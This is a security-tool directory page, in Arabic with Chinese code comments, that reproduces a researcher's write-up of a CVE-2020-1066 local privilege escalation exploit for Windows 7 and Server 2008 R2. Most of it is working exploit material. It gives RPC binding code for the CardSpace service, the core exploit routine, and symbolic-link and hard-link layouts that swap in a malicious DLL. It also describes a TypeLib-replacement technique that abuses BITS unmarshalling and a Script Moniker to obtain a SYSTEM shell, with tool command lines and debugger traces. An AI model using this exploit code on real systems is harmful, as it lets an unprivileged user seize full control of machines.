Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-1066-EXP — استغلال تصعيد الامتيازات المحلية لثغرة CVE-2020-1066 التي تستهدف نظامي Windows 7 وServer 2008 R2. يستغل استبدال الملفات التعسفي عبر خدمة Windows CardSpace (idsvc) من خلال إساءة استخدام الروابط الرمزية لتحقيق تنفيذ كود بمستوى SYSTEM. | Kitploit
أدوات/GitHubGitHub/cbwang505/cve-2020-1066-exp
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةتطوير الحمولاتاستغلال الملفات الثنائية
GitHubcbwang505/cve-2020-1066-exp

CVE-2020-1066-EXP

استغلال تصعيد الامتيازات المحلية لثغرة CVE-2020-1066 التي تستهدف نظامي Windows 7 وServer 2008 R2. يستغل استبدال الملفات التعسفي عبر خدمة Windows CardSpace (idsvc) من خلال إساءة استخدام الروابط الرمزية لتحقيق تنفيذ كود بمستوى SYSTEM.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودعالموقع الإلكتروني
186413منذ 6 سنواتتمت المراجعة من قبل Kitploit

مرجع

هذه الثغرة هي ثغرة رفع صلاحيات محلية عن طريق استبدال ملفات تعسفية ناتجة عن عدم معالجة خدمة Windows CardSpace لكائنات الروابط الرمزية بشكل صحيح

إعلان

إن PoC الخاص بالمؤلف مخصص لأغراض البحث فقط، وإذا استخدم القارئ هذا الـ PoC للقيام بأي سلوكيات أخرى، فلا علاقة للمؤلف بذلك

فهرس المحتويات

[toc]

التحليل

نطاق تأثير الثغرة

ينطبق على المستخدمين العاديين لنظامي Windows 7 وWindows Server 2008 R2 وعلى مستخدمي IIS الذين قاموا بتمكين إعدادات خاصة

تحليل مبدأ الثغرة

الكاتب هو مقدّم الثغرة، وقد تم تحديث الثغرة في مايو 2020. تأتي الثغرة من خدمة Windows CardSpace (المشار إليها اختصارًا بـ idsvc) في نظامي Windows 7 وWindows Server 2008 R2. يمكن لأي مستخدم تشغيل هذه الخدمة، وهي تعمل بصلاحيات System، وتوفر استدعاءات RPC عامة. عند قيام المستخدم بتشغيل نقل ملف تكوين محدد يقع في دليل متغير البيئة %APPDATA% الخاص بالمستخدم الحالي، فإن الخدمة لا تتعامل مع كائنات الروابط الرمزية بشكل صحيح، مما يؤدي إلى رفع صلاحيات محلي عن طريق استبدال ملفات تعسفية. هذا هو سبب الثغرة.

نظرًا لأن الأمر يستند إلى استدعاءات RPC، يلزم أولاً الحصول على MIDL الخاص بواجهة الخدمة حتى يمكن كتابة تعليمات برمجية محلية للتفاعل معها. يوصي الكاتب باستخدام أداة RpcView، ويمكن الرجوع إلى سلسلة مقالات استكشاف ثغرات RPC للحصول على الطريقة المحددة. أولاً، استخدم الطريقة التالية للحصول على ملف الرموز وتكوين الرموز داخل الأداة، وبعد ذلك يمكنك تفكيك ملف IDL لواجهة RPC. الطريقة المحددة هي كما يلي``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

root@kitploit:~
![انقر لعرض الصورة بحجم أكبر](https://assets.kitploit.com/production/public/readmes/23739/e352e478289e665f5c22d5cf68277d086dcd2514254004045ad6c8975749b18e.png)
من خلال الأداة يتم الحصول على 3 بيانات مهمة، وهي نوع بروتوكول Rpc واسم البروتوكول وملف تعريف العميل لواجهة البروتوكول (ملف .c الناتج عن تجميع ملف IDL، انظر مربع النص Decompilation على اليسار)، وبهذه الطريقة يمكن ربط خدمة Rpc بالطريقة التالية.```
BOOL StartRpcService()
{
	RPC_STATUS status;
	unsigned int  cMinCalls = 1;
	RPC_BINDING_HANDLE v5;
	RPC_SECURITY_QOS SecurityQOS = {};
	RPC_WSTR StringBinding = nullptr;
	if (StartConnectingService())
	{
       //Rpc协议的类型,协议名称
		status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
		if (status){
			printf("RpcStringBindingComposeW Failed:%d\n", status);
			return(status);
		}
		status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
		RpcStringFreeW(&StringBinding);
		if (status){
			printf("RpcBindingFromStringBindingW Failed:%d\n", status);
			return(status);
		}
		SecurityQOS.Version = 1;
		SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
		SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
		SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
		status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
		if (status){
			printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
			return(status);
		}
        //绑定接口
		status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
		if (status){
			printf("RpcEpResolveBinding Failed:%d\n", status);
			return(status);
		}
	}
	else
	{
		printf("Start Connecting Windows Cardspace Service Failed");
		return 0;
	}
	return 0;
}

من خلال فك تجميع كود خدمة idsvc يتم الحصول على المشروع المحدد (انظر المشاريع ذات الصلة). تقوم خدمة idsvc بربط المعالج العام RequestFactory.ProcessNewRequest الخاص بواجهة RPC العامة، وبالنسبة للاستدعاء الأول، أي عندما تكون قيمة parentRequestHandle هي 0، يتم استدعاء فئة CreateClientRequestInstance لمعالجة الاستدعاء الراجع، بينما تتم معالجة العمليات اللاحقة بواسطة فئة CreateUIAgentRequestInstance.``` //全局RPC接口的全局处理程序  internal static int ProcessNewRequest(  int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs)         {            ... //初次调用                 if (parentRequestHandle == 0)                 {                     using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle())                     {                         using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream))                         {

                            string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求                             num = clientRequestInstance.DoProcessRequest(out extendedMessage);                             RpcResponse outArgs1;                             RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果                             outArgs = outArgs1.Marshal();        } } }

root@kitploit:~
خدمة idsvc ستعكس الفئة المقابلة لمعالجة الاستدعاء بناءً على اسم الفئة في حقل RpcRequest->Type، وهنا يستخدم الـpoc فئة "ManageRequest"؛```
 private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
        {
            ClientRequest clientRequest = (ClientRequest)null;
            lock (RequestFactory.s_createRequestSync)
            {              
                RequestFactory.RequestName request = 
RequestFactory.s_requestMap[reqName];
                if (-1 != 
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests, 
request))
                {
                    Process contextMapping = 
ClientUIRequest.GetContextMapping(rpcHandle, true);
                    InfoCardTrace.ThrowInvalidArgumentConditional(null == 
contextMapping, nameof(rpcHandle));               
                   WindowsIdentity executionIdentity = 
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
                    InfoCardUIAgent agent = 
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
                    switch (RequestFactory.s_requestMap[reqName])
                    {                       
//这里使用的是"ManageRequest"类;
                        case RequestFactory.RequestName.ManageRequest:

                            clientRequest = (ClientRequest)new 
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, 
outStream);
                            break;                    

                    }
                }

قم بتشغيل دالة DoProcessRequest لمثيل ManageRequest لمعالجة الطلب، مع تخطي الخطوات الوسيطة، وأخيرًا استدعاء StoreConnection.CreateDefaultDataSources() للوصول إلى نقطة الاستغلال. أثناء التفاعل مع الخدمة، تقوم الخدمة بانتحال هوية المستخدم (Impersonate Client) وتحصل على ملف تعريف المستخدم، والذي يكون افتراضيًا في الدليل المحدد بواسطة متغير البيئة %APPDATA%. بالنسبة لمستخدمي IIS، في الحالة الخاصة، لا يتم تحميل ملف التعريف افتراضيًا، ولا يمكن تحقيق ذلك إلا بتمكين الإعداد التالي: انقر على تجمع التطبيقات -> الإعدادات المتقدمة. اضغط لعرض الصورة الكبيرة``` //构造函数   protected StoreConnection(WindowsIdentity identity)

    { //这里的identity也就客户端身份       this.m_identity = new WindowsIdentity(identity.Token);      //获取用户环境变量的%APPDATA%       this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\CardSpace\");       this.m_localSource = this.m_path + "CardSpaceSP2.db";          }      protected virtual void CreateDefaultDataSources(Hashtable list)    {       string str = this.m_path + "CardSpace.db"; //进入using块使用的idsvc服务身份,离开块后继续Impersonate Client       using (new SystemIdentity(true))       { ....         if (File.Exists(str)) { //替换文件,内部实现就是File.MoveTo等函数           this.AtomicFileCopy(str, this.m_localSource); }        } ...         protected void AtomicFileCopy(string source, string destination)     {       if (!File.Exists(source))         return; //加上.atomic后缀,移动文件       File.Copy(source, source + ".atomic", true);       FileInfo fileInfo = new FileInfo(source + ".atomic");       if (fileInfo.Length == 0L)         return;       fileInfo.MoveTo(destination);     }

root@kitploit:~
تعود خدمة idsvc إلى هوية الخدمة عبر new SystemIdentity(true)، وتستدعي AtomicFileCopy لنقل ملف تعريف المستخدم. في التكوين الافتراضي، تكون الملفات الموجودة في دليل %APPDATA% قابلة للتحكم الكامل من قبل المستخدم الحالي. عندما تقوم عملية بصلاحيات مرتفعة بعمليات مثل الحذف أو النقل أو النسخ أو تعيين السمات على ملفات تتحكم فيها عملية بصلاحيات منخفضة، يمكن للعملية منخفضة الصلاحيات استغلال هذا الامتياز للقيام بعمليات أخرى. وقدّم لنا James Forshaw [@tiraniddo](https://twitter.com/tiraniddo) مجموعة [أدوات مفتوحة المصدر](https://github.com/googleprojectzero/symboliclink-testing-tools)؛ فقد أنجز عمله الرائد في نظام ملفات NTFS والبنية الداخلية لنظام Windows كل الأعمال الشاقة، ونفّذ عدة تقنيات وطرق استغلال لإساءة استخدام وظائف نظام ملفات Windows وتحليل المسارات. يسمح نظام ملفات NTFS بتركيب دليل يتحكم فيه المستخدم على دليل آخر يتحكم فيه المستخدم (نقاط تحميل وحدات التخزين Volume Mount Points ونقاط التقاطع Junction Points)، كما يسمح بربط هدف بآخر عبر الروابط الرمزية Symbolic Links (نقاط إعادة التحليل في NTFS Reparse Points)، وبواسطة الروابط الصلبة (Hard Link) ربط ملف يتحكم فيه المستخدم بملف آخر قابل للقراءة. يمكن لكل هذه الطرق أن تمكّن المهاجم الخبيث من إساءة استخدام العمليات ذات الصلاحيات المرتفعة لتنفيذ عمليات الملفات. بالنسبة لاستغلال PoC، يمكن استخدام الطريقتين التاليتين لإنشاء روابط رمزية مناسبة للملف المصدر والملف الهدف؛ الطريقة الأولى هي نقاط التحميل والروابط الصلبة، وهذه الطريقة تنطبق فقط على Win7، وقد خففت Microsoft من الروابط الصلبة، والسبب المحدد في [التحليل](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08). أما الطريقة الثانية فلا يزال من الممكن استغلالها على Win10، ومبدأها هو الربط عبر دليل الكائنات القابل للكتابة من قبل أي مستخدم \RPC Control إلى الدليل المحدد، ثم الاستمرار في ربط الملفات الموجودة في دليل \RPC Control بالملف المحدد، والطريقة المحددة كما يلي. بخصوص الروابط الرمزية، يمكن الرجوع إلى [المقال السابق](https://www.4hou.com/posts/qV8D) و[المقال التالي](https://www.4hou.com/posts/rE7B)، ولن نكررها هنا.```
第一种方式, 挂载点和硬链接
C:\workspace\mountpoint ->  C:\Users\Username\AppData\Local\Microsoft\CardSpace
源文件(挂载点) = C:\workspace\mountpoint\CardSpace.db(Fake.dll) -> C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db
目标文件(硬链接) =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic ->  C:\Evil.dll
第二种方式,符号链接至 \RPC Control
C:\Users\Username\AppData\Local\Microsoft\CardSpace -> \RPC Control
源文件 = C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db ->\RPC Control\CardSpace.db
目标文件 =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> \RPC Control\CardSpace.db.atomic
源文件 = \RPC Control\CardSpace.db ->C:\Fake.dll 
目标文件 = \RPC Control\CardSpace.db.atomic -> C:\Evil.dll

عرض الصورة الكبيرة من خلال Process Monitor يتضح أن خدمة idsvc عند نقل الملفات لا تستخدم هوية المستخدم عبر الانتحال (Impersonate)، كما أنها لا تتحقق من خاصية الارتباط الرمزي (Symbolic Link) للملف، مما يؤدي إلى ثغرة رفع صلاحيات عن طريق استبدال أي ملف. فيما يلي الكود الأساسي لاستغلال الثغرة``` BOOL Exploit() { RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest)); req->Type = L"ManageRequest"; req->Length = 0; req->Data = 0; RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse)); UINT32* ctx = 0; long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx); printf("Proc0_RPCClientBindToService :%d\n", ret); ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep); printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret); return 0; }

root@kitploit:~
##### تحليل استغلال الثغرات #####

صمم المؤلف طريقة جديدة لاستغلال رفع الامتيازات تعتمد على الاستبدال التعسفي للملفات، والنموذج الأولي مأخوذ من [CVE-2017-0213](https://www.exploit-db.com/exploits/42020/)، وتنطبق هذه الطريقة على جميع إصدارات أنظمة التشغيل من Windows 7 إلى Windows 10، لكن بشرط ألا يكون الملف المراد استبداله خاضعًا لصلاحيات TrustedInstaller حتى يمكن تفعيل الثغرة، والسبب أن صلاحيات TrustedInstaller أعلى من الصلاحيات الأخرى، فإذا نُفذت عملية الاستبدال مباشرة، حتى مع العمل بصلاحيات System، ستكون النتيجة رفض الوصول، وعمومًا فقط الملفات التي تمتلك صلاحيات المسؤول (Administrator) أو صلاحيات System هي التي تستوفي الشروط. أعدّ المؤلف [أداة](https://gitee.com/cbwang505/TypeLibUnmarshaler) للبحث عن الملفات القابلة للاستبدال في دليل محدد، وهي متاحة في قائمة المشاريع ذات الصلة، كما يمكن استخدام أداة accesschk من [SysinternalsSuite](https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite) الخاصة بشركة Microsoft، ويكون سطر الأوامر كما يلي، والمعامل الأخير هو الملف أو الدليل المحدد```
//[SysinternalsSuite]工具模式,最后一个参数为指定目录文件
accesschk.exe -s -w  "nt authority\system"  c:\windows\system32\*.dll
//笔者工具中的查找模式,参数为目标路径和后缀名
MyComEop.exe  v [find path] [extension]
//深度查找模式,参数为目标路径和后缀名
MyComEop.exe  d [find path] [extension]			

بالنسبة لنظام Windows 7، استخدم المؤلف الأدوات المذكورة أعلاه للعثور على بعض ملفات TypeLib (مكتبات الأنواع) المدمجة في النظام التي يمكن استغلالها. أما بالنسبة للأنظمة الأعلى إصدارًا مثل Windows 10، فقد تم العثور أيضًا على TypeLib مدمج في النظام يمكن لمستخدم System الكتابة إليه. والأفضل من ذلك، أن معظم مكونات Com المسجلة بواسطة برامج الطرف الثالث تحتوي على ملفات TypeLib مماثلة تستوفي الشروط، لذا فإن طريقة الاستغلال هذه لها قيمة استغلالية بالتأكيد.``` Windows7系统TypeLib位于: C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb Windows10等高版本系统TypeLib位于: C:\Windows\System32\SysFxUI.dll

root@kitploit:~
![查看大图](https://assets.kitploit.com/production/public/readmes/23739/b1f463135b8496abbaecc9b374899b5212811a5e2b10bc8d91baefdc33a4f32f.png)
يمكن تحقيق استغلال نظام Windows 7 مباشرةً في الـ PoC، وبالنسبة للإصدارات الأعلى مثل Windows 10، فقد تم التحقق منها في [EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION) آخر خاص بي. إذا كان الغرض مجرد الاختبار، يمكن تشغيله باستخدام سطر الأوامر التالي. ولأن ذلك يتطلب كتابة مستخدم System، يُنصح باستخدام أدوات مثل [Process Hacker](https://processhacker.sourceforge.io/) لتبديل هوية المستخدم الحالي إلى مستخدم System، والتأثير كما في الصورة أعلاه:```
MyComEop.exe u "{E6DB299B-B925-415A-879B-4A76D072F39A}" "IMyPageFactory" "{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}"  "C:\Windows\System32\SysFxUI.dll" true

إذا وجد القارئ TypeLib مؤهلاً، يمكنه فتحه باستخدام أداة OleView الموجودة في Windows SDK، وباختيار أي Interface واستخراج المعاملات الثلاثة IID_Interface وInterfaceName وTypeLib_GUID، يمكن استخدام الوضع المتقدم في الأداة لتنفيذ الاستغلال. هنا استخدم المؤلف TypeLib مدمجًا في نظام Windows 7 للتوضيح. عرض الصورة الكبيرة عرض الصورة الكبيرة يعتمد مبدأ الاستغلال على خدمة Background Intelligent Transfer Service (وتُعرف اختصارًا بـ bits). تسمح واجهة IBackgroundCopyJob->SetNotifyInterface ضمن واجهات برمجة التطبيقات العامة لخدمة bits بتمرير أي كائن COM بعيد. إذا كان هذا الكائن يرث واجهة IMarshal، ستعتمد خدمة bits على CLSID المُمرَّر في طريقة الواجهة GetUnmarshalClass لتخصيص عملية إلغاء التسلسل Unmarshal. هنا استخدم المؤلف طريقة Unmarshal القياسية أي CStdMarshal::UnmarshalInterface لتحفيز إلغاء التسلسل، وتأتي البيانات المسببة لإلغاء التسلسل من بنية OBJREF في MarshalStream، وتكون هذه البنية بالتنسيق التالي، ويمكن الرجوع إلى الوثائق الرسمية من مايكروسوفت و مقالتي الأخرى للتفاصيل.``` typedef LUID OXID; typedef LUID OID; typedef GUID IPID; typedef struct tagDUALSTRINGARRAY { unsigned short wNumEntries; // Number of entries in array. unsigned short wSecurityOffset; // Offset of security info. unsigned short aStringArray[]; } DUALSTRINGARRAY;

typedef struct tagSTDOBJREF { DWORD flags; DWORD cPublicRefs;
//对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符 OXID oxid;  //存根管理器的标识符
OID oid; //接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识
IPID ipid; } STDOBJREF;

typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } u_custom; } u_objref; } OBJREF;

root@kitploit:~
هنا `flags` هو `OBJREF_STANDARD(0x01)`، أي أنه يتم استخدام طريقة `Unmarshal` القياسية (`CStdMarshal`)، والاتحاد المقابل له في الأسفل هو `STDOBJREF`. أما باقي أنواع `flags` فلديها طرق `unmarshal` مخصصة، وهي خارج نطاق هذه المقالة، ويُترك للقارئ البحث فيها بنفسه. وفي النهاية، ما يؤدي إلى استغلال الثغرة هو حقل `iid` داخله. من خلال البحث العكسي تبيّن أن استبدال هذا `iid` (أي `IID_Interface` الذي تم العثور عليه في oleview) يمكنه تحفيز خدمة bits على تحميل `TypeLib` (مكتبة الأنواع) لمكوّن COM المقابل لهذا `iid`، أي إلغاء تسلسل أي `TypeLib` بشكل تعسفي. وأخيرًا، استبدال ملف `TypeLib` ببنية `TypeLib` متداخلة يمكنه تشغيل Script Moniker للحصول على `GetShell`. هنا نرفق الكود الأساسي للاستغلال:```
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{
		IStorage* stg;
		ILockBytes* lb;
		CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
		StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
		ULONG cbRead;
		ULONG cbWrite;
		IStreamPtr pStream = nullptr;
		HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
		LARGE_INTEGER dlibMove = { 0 };
		ULARGE_INTEGER plibNewPosition;
		hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);
		OBJREF* headerObjRef = (OBJREF*)malloc(1000);
		hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);
		hr = pStream->Read(headerObjRef, 1000, &cbRead);
		printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceFake).GetBSTR(), this);
        //IID_InterfaceFake就是找到的接口IID_Interface
		headerObjRef->iid = IID_InterfaceFake;
		hr = pStm->Write(headerObjRef, cbRead, &cbWrite);
		return hr;

	}

من نتائج التصحيح يمكن ملاحظة أن CStdMarshal::UnmarshalInterface استدعى في النهاية LoadTypeLibEx، وكان iid المُمرَّر هو IID_InterfaceFake (القادم من OBJREF)، وقام الاستدعاء الثاني لـ LoadTypeLibEx بتحميل Script Moniker. وهذا يثبت أنه يمكن فعلاً اعتراض (HOOK) العمليات عالية الصلاحية لتحميل أي TypeLib عشوائي أثناء إلغاء التسلسل.``` 1: kd> bp OLEAUT32!GetTypeInfoOfIID Breakpoint 0 hit OLEAUT32!GetTypeInfoOfIID: 0033:000007fefebf0140 4533c0 xor r8d,r8d //继续调试.... 0: kd> p OLEAUT32!GetTypeInfoOfIIDFwd+0x19: 0033:000007fefebefd09 4889842480030000 mov qword ptr [rsp+380h],rax 0: kd> r rax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c rdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148 rip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002 r8=0000000000000000 r9=0000000000000000 r10=0000000000000000 r11=00000000033ae088 r12=00000000059f912c r13=0000000000000001 0: kd> dt _GUID @rcx //查看这个参数 ole32!_GUID {55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IID_InterfaceFake //下这个断点 1: kd> bp OLEAUT32!LoadTypeLibEx 1: kd> g Breakpoint 3 hit OLEAUT32!LoadTypeLibEx: 0033:000007fefeb6a550 fff3 push rbx //第一次加载的是目标TypeLib 1: kd> dc @rcx L50 0000000002c8e070 003a0043 0057005c 006e0069 006f0064 C.:..W.i.n.d.o. 0000000002c8e080 00730077 004d005c 00630069 006f0072 w.s.\.M.i.c.r.o. 0000000002c8e090 006f0073 00740066 004e002e 00540045 s.o.f.t...N.E.T. 0000000002c8e0a0 0046005c 00610072 0065006d 006f0077 \.F.r.a.m.e.w.o. 0000000002c8e0b0 006b0072 0076005c 002e0034 002e0030 r.k..v.4...0... 0000000002c8e0c0 00300033 00310033 005c0039 00790053 3.0.3.1.9.\.S.y. 0000000002c8e0d0 00740073 006d0065 0045002e 0074006e s.t.e.m...E.n.t. 0000000002c8e0e0 00720065 00720070 00730069 00530065 e.r.p.r.i.s.e.S. 0000000002c8e0f0 00720065 00690076 00650063 002e0073 e.r.v.i.c.e.s... 0000000002c8e110 059f92e0 00000000 02c8e180 00000000 ................ 0: kd> kv

Child-SP RetAddr : Args to Child : Call Site

00 000000000391d828 000007fefebf00eb : 0000000000000ed8 0000000000000000 000000000391d9a0 000000000391d870 : OLEAUT32!LoadTypeLibEx 01 000000000391d830 000007fefebf0f4f : 000007feff6c71c0 000007feff661889 000000000371f310 0000000000000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb 02 000000000391dbe0 000007fefebf1149 : 0000000000284210 000000000371f310 0000000000284240 0000000000284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df 03 000000000391dc40 000007feff51e46a : 0000000000000000 0000000003715ea0 0000000000284210 0000000000284210 : OLEAUT32!CProxyWrapper::Connect+0x79 04 000000000391dc90 000007feff51e233 : 0000000000000000 0000000000284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2368] 05 00000000ff51e114 : 000000000391e618 0000000000000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2189] 06 00000000ff5211ec : 000000000391df68 000000009a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1734] 07 00000000ff5210b7 : 00000000059e7610 0000000000000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1618] 08 00000000ff52106c : 000000000391df50 00000000037daf90 : ole32!UnmarshalSwitch+0x2b [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1279] 09 00000000ff64a0c5 : 0000000000000000 0000000000000000 : ole32!UnmarshalObjRef+0xc0 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1406] //使用的是标准反序列化模式 0a 00000000ff5232a6 : 00000000fee64366 00000000fedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1238] 0b 00000000ff523542 : 000007fe0391e340 0000000000000000 : ole32!CoUnmarshalInterface+0x19c [d:\w7rtm\com\ole32\com\dcomrem\coapi.cxx @ 957] 0c 00000000fedf523e : 000000000391e340 000007fe0029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:\w7rtm\com\rpc\ndrole\oleaux.cxx @ 1354] 0d 00000000fedff6cf : 000007fe0391e4f0 0000000000000000 : RPCRT4!IUnknown_AddRef_Proxy+0x19e 0e 00000000fede6e1c : 00000000fede78d7 000000000023e760 : RPCRT4!NdrPointerUnmarshall+0x2f 0f 00000000fede68e3 : 00000000faac1342 00000000faac1af0 : RPCRT4!NdrStubCall2+0x73c 10 00000000fede7967 : 00000000fb63a250 00000000fb63a250 : RPCRT4!NdrStubCall2+0x203 11 00000000ff660883 : 0000000000000000 0000000003715ff0 : RPCRT4!I_RpcGetBuffer+0xc7 12 00000000ff660ccd : 0000000000000000 000007fe00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586] 13 00000000ff660c43 : 000000000378a994 00000000ec046040 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187] 14 00000000ff51a4f0 : 00000000037daf90 000000000391ecd0 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396] 15 00000000ff6614d6 : 0000000000000010 0000000003715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262] 16 00000000ff66122b : 00000000037daf90 0000000003769be0 : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086] 17 00000000ff65fd6d : 00000000037daf90 0000000000070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727] 18 00000000fede50f4 : 000007fe00000000 00000000fedde8f7 : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751] 19 00000000fede4f56 : 000007fe00000001 00000000ff4f8ffc : RPCRT4!NdrServerCall2+0x1d84 1a 00000000fede775b : 0000000000000000 000000000378a970 : RPCRT4!NdrServerCall2+0x1be6 1b 00000000fede769b : 000000000391f0b0 00000000037241b0 : RPCRT4!I_RpcBindingInqTransportType+0x32b 1c 00000000fede7632 : 000000000378a970 00000000fede6140 : RPCRT4!I_RpcBindingInqTransportType+0x26b 1d 0000000000000000 : 0000000000000000 0000000000000000 : RPCRT4!I_RpcBindingInqTransportType+0x202 //第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件 1: kd> g Breakpoint 3 hit OLEAUT32!LoadTypeLibEx: 0033:000007fe02c8dd70 00630073 00690072 00740070 0043003a s.c.r.i.p.t.:.C. 0000000002c8dd90 005c0074 006b006f 0072005c 006e0075 t..o.k..r.u.n. 0000000002c8ddb0 037efc30 00000000 feb6733c 000007fe 0.~.....<s......

root@kitploit:~
